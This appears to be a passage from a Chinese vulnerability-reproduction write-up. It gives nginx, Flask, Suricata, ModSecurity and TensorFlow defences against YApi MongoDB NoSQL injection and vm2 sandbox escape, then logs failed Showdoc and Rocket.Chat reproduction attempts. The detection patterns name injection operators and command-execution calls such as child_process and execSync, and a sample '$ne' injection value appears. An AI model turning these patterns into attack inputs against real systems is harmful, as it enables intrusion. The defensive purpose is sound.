    map $request_body $block_nosql {
        default 0;
        "~*\\\"\\$ne\\\"" 1;
        "~*\\\"\\$regex\\\"" 1;
        "~*\\\"\\$or\\\"" 1;
        "~*\\\"\\$and\\\"" 1;
        "~*\\\"\\$where\\\"" 1;
    }
    
    # vm2相关检测
    map $request_body $block_vm2 {
        default 0;
        "~*process\\.mainModule" 1;
        "~*child_process" 1;
        "~*execSync" 1;
        "~*constructor\\.constructor" 1;
    }
    
    server {
        listen 80;
        server_name target.com;
        
        location /api/ {
            # 检查NoSQL注入
            if ($block_nosql = 1) {
                return 403;
                access_log /var/log/nginx/nosql_block.log;
            }
            
            # 检查vm2逃逸尝试
            if ($block_vm2 = 1) {
                return 403;
                access_log /var/log/nginx/vm2_block.log;
            }
            
            # 限制请求体大小
            client_max_body_size 1m;
            
            # 启用速率限制
            limit_req zone=api_limit burst=10 nodelay;
            
            proxy_pass http://backend:3000;
        }
        
        location /api/admin/ {
            # 更严格的管理API限制
            limit_req zone=admin_limit burst=5 nodelay;
            
            # 记录所有管理API访问
            access_log /var/log/nginx/admin_access.log;
            
            proxy_pass http://backend:3000;
        }
    }
    
    # 定义限流zone
    limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=admin_limit:10m rate=5r/s;
}

WAF 拦截规则(Python/Flask 中间件)

from flask import request, abort

MONGO_OPERATORS = ["$ne", "$gt", "$lt", "$regex", "$where"]

@app.before_request
def detect_mongo_injection():
    # 检查 query 参数和 JSON body
    data = dict(request.args)
    if request.is_json:
        data.update(request.get_json())

    for key, val in data.items():
        # 如果值是 dict 形式且包含 Mongo 操作符
        if isinstance(val, dict):
            for op in MONGO_OPERATORS:
                if op in val:
                    abort(403, "Possible NoSQL Injection detected")

IDS/IPS规则

# Suricata规则示例
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"MONGODB NoSQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"application/json"; http_content_type;
    pcre:"/\{\s*\"[^\"]+\"\s*:\s*\{\s*\"\$[a-z]+\"/Pi";
    classtype:web-application-attack;
    sid:2024005;
    rev:1;
)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Node.js vm2 Sandbox Escape Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"mock-scripts"; http_uri;
    pcre:"/process\\.mainModule\\.require|child_process|execSync|constructor\\.constructor/Pi";
    classtype:attempted-admin;
    sid:2024006;
    rev:1;
)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Admin Token Abuse Detection";
    flow:to_server,established;
    content:"Authorization"; http_header;
    content:"Bearer"; http_header;
    pcre:"/Bearer\s+eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/P";
    threshold:type threshold, track by_src, count 50, seconds 60;
    classtype:suspicious-login;
    sid:2024007;
    rev:1;
)

应用层监控脚本

# 安全监控脚本
import json
import re
from datetime import datetime, timedelta
import redis

class SecurityMonitor:
    def __init__(self):
        self.redis_client = redis.Redis(host='localhost', port=6379, db=0)
        self.nosql_patterns = [
            re.compile(r'\{\s*"\$ne"\s*:', re.IGNORECASE),
            re.compile(r'\{\s*"\$regex"\s*:', re.IGNORECASE),
            re.compile(r'\{\s*"\$or"\s*:', re.IGNORECASE),
            re.compile(r'\{\s*"\$and"\s*:', re.IGNORECASE),
            re.compile(r'\{\s*"\$where"\s*:', re.IGNORECASE),
        ]
        
        self.vm2_patterns = [
            re.compile(r'process\.mainModule', re.IGNORECASE),
            re.compile(r'require\s*\(\s*[\'"]child_process[\'"]\s*\)', re.IGNORECASE),
            re.compile(r'execSync\s*\(', re.IGNORECASE),
            re.compile(r'constructor\.constructor', re.IGNORECASE),
        ]
    
    def detect_nosql_injection(self, request_data):
        """检测NoSQL注入尝试"""
        alerts = []
        
        if isinstance(request_data, dict):
            # 递归检查字典
            for key, value in request_data.items():
                if isinstance(value, dict):
                    # 检查是否包含MongoDB操作符
                    for op in ['$ne', '$regex', '$or', '$and', '$where']:
                        if op in value:
                            alert = {
                                'timestamp': datetime.now().isoformat(),
                                'type': 'nosql_injection',
                                'field': key,
                                'operator': op,
                                'value': str(value)[:100],
                            }
                            alerts.append(alert)
                
                # 递归检查嵌套结构
                if isinstance(value, (dict, list)):
                    nested_alerts = self.detect_nosql_injection(value)
                    alerts.extend(nested_alerts)
        
        elif isinstance(request_data, list):
            for item in request_data:
                nested_alerts = self.detect_nosql_injection(item)
                alerts.extend(nested_alerts)
        
        return alerts
    
    def detect_vm2_escape(self, code):
        """检测vm2沙箱逃逸尝试"""
        alerts = []
        
        for pattern in self.vm2_patterns:
            if pattern.search(code):
                alert = {
                    'timestamp': datetime.now().isoformat(),
                    'type': 'vm2_escape_attempt',
                    'pattern': pattern.pattern,
                    'code_snippet': code[:200],
                }
                alerts.append(alert)
        
        return alerts
    
    def check_rate_limit(self, ip, endpoint):
        """检查速率限制"""
        key = f"rate_limit:{ip}:{endpoint}"
        current = self.redis_client.incr(key)
        
        if current == 1:
            # 设置过期时间
            self.redis_client.expire(key, 60)
        
        if current > 10:  # 每分钟10次
            alert = {
                'timestamp': datetime.now().isoformat(),
                'type': 'rate_limit_exceeded',
                'ip': ip,
                'endpoint': endpoint,
                'count': current,
            }
            return True, alert
        
        return False, None
    
    def monitor_request(self, ip, method, endpoint, request_body):
        """监控HTTP请求"""
        alerts = []
        
        # 检查速率限制
        rate_limited, rate_alert = self.check_rate_limit(ip, endpoint)
        if rate_limited:
            alerts.append(rate_alert)
        
        # 检查请求体
        if request_body:
            # 尝试解析JSON
            try:
                data = json.loads(request_body)
                
                # 检测NoSQL注入
                nosql_alerts = self.detect_nosql_injection(data)
                alerts.extend(nosql_alerts)
                
                # 如果是mock脚本端点,检查代码
                if 'mock-scripts' in endpoint and 'code' in data:
                    vm2_alerts = self.detect_vm2_escape(data['code'])
                    alerts.extend(vm2_alerts)
                    
            except json.JSONDecodeError:
                # 如果不是JSON,检查原始文本
                for pattern in self.nosql_patterns:
                    if pattern.search(request_body):
                        alert = {
                            'timestamp': datetime.now().isoformat(),
                            'type': 'nosql_injection_raw',
                            'pattern': pattern.pattern,
                            'snippet': request_body[:200],
                        }
                        alerts.append(alert)
        
        return alerts

# 使用示例
monitor = SecurityMonitor()

# 模拟监控请求
sample_request = {
    'ip': '192.168.1.100',
    'method': 'POST',
    'endpoint': '/api/users/find',
    'request_body': json.dumps({'username': {'$ne': null}})
}

alerts = monitor.monitor_request(**sample_request)
for alert in alerts:
    print(f"安全警报: {alert}")

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 YApi 的请求进行预处理,拦截包含 NoSQL 操作符的恶意请求。 1.1 Flask 中间件:检测请求体中的 MongoDB 操作符

# yapi_proxy.py
import re
import json
import time
from flask import Flask, request, abort, jsonify

app = Flask(__name__)

# 敏感路径列表(需根据 YApi 实际开放接口调整)
SENSITIVE_PATHS = [
    '/api/group/get',
    '/api/plugin/runAutoTest',
    '/api/project/get',
    '/api/user/status',
]

# MongoDB 危险操作符列表
DANGEROUS_OPERATORS = [
    '$ne', '$gt', '$gte', '$lt', '$lte', '$in', '$nin', '$regex',
    '$exists', '$type', '$mod', '$where', '$and', '$or', '$nor'
]

def contains_nosql_operator(data):
    """递归检查 JSON 对象中是否包含 MongoDB 操作符"""
    if isinstance(data, dict):
        for key, value in data.items():
            if key in DANGEROUS_OPERATORS:
                return True
            if contains_nosql_operator(value):
                return True
    elif isinstance(data, list):
        for item in data:
            if contains_nosql_operator(item):
                return True
    return False

# 简单的会话验证(实际可能基于 token,此处示例)
def is_authenticated():
    # YApi 通常使用 token 认证,检查请求头中的 Authorization 或 cookie
    token = request.headers.get('Authorization')
    return bool(token)  # 简单判断是否存在,实际应验证有效性

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=30, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 只处理敏感路径(可根据实际需求放宽)
    if not any(request.path.startswith(p) for p in SENSITIVE_PATHS):
        return

    # 2. 检查请求体是否为 JSON,并检测危险操作符
    if request.is_json:
        data = request.get_json()
        if contains_nosql_operator(data):
            log_attack(request, 'nosql_operator_detected', json.dumps(data))
            abort(403, description='NoSQL injection attempt blocked')

    # 3. 对未认证请求进行速率限制(防止扫描)
    if not is_authenticated() and rate_limit(request.remote_addr):
        abort(429, description='Too many requests')

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type, payload):
    with open('yapi_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")

# 转发请求到后端 YApi
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 YApi 服务器(如 http://localhost:3000)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

基于 TensorFlow 的异常行为检测

利用机器学习模型识别针对 YApi 的异常请求模式,特别是请求体中包含复杂 JSON 结构或异常操作符的请求。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • is_sensitive: 是否访问敏感路径(0/1)
  • has_json: 请求是否为 JSON(0/1)
  • json_depth: JSON 嵌套深度
  • json_keys_count: JSON 键值对数量
  • has_dollar_sign: 键中是否包含 $ 符号(0/1)
  • has_operator: 是否包含 MongoDB 操作符(0/1)
  • body_length: 请求体长度
  • method: 请求方法(GET=1, POST=2)
  • hour: 请求小时
  • ip_reputation: IP 信誉分(外部API或黑名单)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if request_entry['is_sensitive'] else 0,
        request_entry.get('has_json', 0),
        request_entry.get('json_depth', 0),
        request_entry.get('json_keys_count', 0),
        request_entry.get('has_dollar_sign', 0),
        request_entry.get('has_operator', 0),
        request_entry.get('body_length', 0),
        {'GET':1, 'POST':2}.get(request_entry['method'], 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('yapi_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('yapi_anomaly_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计(如Redis)
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

def json_depth_count(obj):
    """计算 JSON 嵌套深度"""
    if isinstance(obj, dict):
        return 1 + max((json_depth_count(v) for v in obj.values()), default=0)
    elif isinstance(obj, list):
        return 1 + max((json_depth_count(item) for item in obj), default=0)
    else:
        return 0

def json_keys_count(obj):
    """统计键值对数量"""
    count = 0
    if isinstance(obj, dict):
        count += len(obj)
        for v in obj.values():
            count += json_keys_count(v)
    elif isinstance(obj, list):
        for item in obj:
            count += json_keys_count(item)
    return count

@app.before_request
def before_request():
    # ... 之前的基础检测 ...
    
    # 对敏感路径进行机器学习异常检测
    if any(request.path.startswith(p) for p in SENSITIVE_PATHS):
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'is_sensitive': True,
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': is_authenticated(),
            'timestamp': datetime.now(),
            'body_length': len(request.get_data()),
        }
        if request.is_json:
            data = request.get_json()
            request_entry['has_json'] = 1
            request_entry['json_depth'] = json_depth_count(data)
            request_entry['json_keys_count'] = json_keys_count(data)
            request_entry['has_dollar_sign'] = 1 if any('$' in str(v) for v in data) else 0
            request_entry['has_operator'] = 1 if contains_nosql_operator(data) else 0
        else:
            request_entry['has_json'] = 0
            request_entry['json_depth'] = 0
            request_entry['json_keys_count'] = 0
            request_entry['has_dollar_sign'] = 0
            request_entry['has_operator'] = 0

        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly', '')
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截包含 NoSQL 操作符的请求体。

3.1 基础规则

# modsecurity_crs_75_yapi_nosql_injection.conf

# 规则1:检测 JSON 请求体中是否包含 MongoDB 操作符(如 $ne, $regex)
SecRule REQUEST_BODY "@rx (?i)\"\$[a-z]+\"\s*:" \
    "id:1012001,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'YApi NoSQL injection attempt - MongoDB operator detected',\
    logdata:'Matched: %{MATCHED_VAR}',\
    tag:'attack-nosql',\
    tag:'yapi',\
    severity:'CRITICAL'"

# 规则2:检测特定的操作符($ne, $regex, $gt 等)
SecRule REQUEST_BODY "@rx (?i)\"\$(ne|regex|gt|gte|lt|lte|in|nin|exists|where)\"\s*:" \
    "id:1012002,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'YApi NoSQL injection - specific operator',\
    tag:'attack-nosql',\
    severity:'CRITICAL'"

# 规则3:对敏感路径进行速率限制
SecRule REQUEST_URI "@beginsWith /api/" \
    "id:1012003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'YApi API rate limiting',\
    setvar:'tx.yapi_api_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.yapi_api_counter_%{REMOTE_ADDR}=60'"
SecRule TX:yapi_api_counter_%{REMOTE_ADDR} "@gt 30" \
    "id:1012004,\
    phase:1,\
    block,\
    msg:'Too many API requests',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name yapi.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://yapi-backend:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-?(YApi NoSQL 注入)漏洞允许攻击者通过 MongoDB 操作符泄露敏感 token 并最终实现 RCE。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 YApi 的用户立即采取行动。

除此之外,还对无法复现的环境进行截图展示。

Showdoc/3.2.5-sqli

靶机环境

Snipaste_2026-02-03_16-53-48.png

图片验证码

Snipaste_2026-02-03_16-54-34.png

指纹识别结果

Snipaste_2026-02-03_17-03-17.png

初步尝试

Snipaste_2026-02-03_18-04-33.png

Snipaste_2026-02-03_18-06-35.png 我的python环境坏了并且该版本无法加载某些模块,主要是验证码无法生成从而得到正确的Cookie,所以我放弃此关卡。

Snipaste_2026-02-03_18-26-50.png

Snipaste_2026-02-03_18-27-08.png

Snipaste_2026-02-03_18-28-08.png

Snipaste_2026-02-03_18-29-52.png

rocketchat/CVE-2021-22911

Snipaste_2026-02-06_12-15-45.png

Snipaste_2026-02-06_12-19-21.png

Snipaste_2026-02-06_12-20-41.png

Snipaste_2026-02-06_12-21-17.png

Snipaste_2026-02-06_12-22-44.png

安装完成后,利用注册的用户进行登录。

Snipaste_2026-02-06_12-26-20.png

修改用户名。

Snipaste_2026-02-06_12-23-19.png

Snipaste_2026-02-06_13-18-05.png

原有漏洞接口已经不存在了。

Snipaste_2026-02-06_13-18-29.png 试了该路径也没有成功,因而不再复现该漏洞。

个人怀疑是安装导向问题,或者官方将版本更新了。

参考文章:

1.vulhub/yapi/mongodb-inj at master · vulhub/vulhub · GitHub github.com/vulhub/vulh…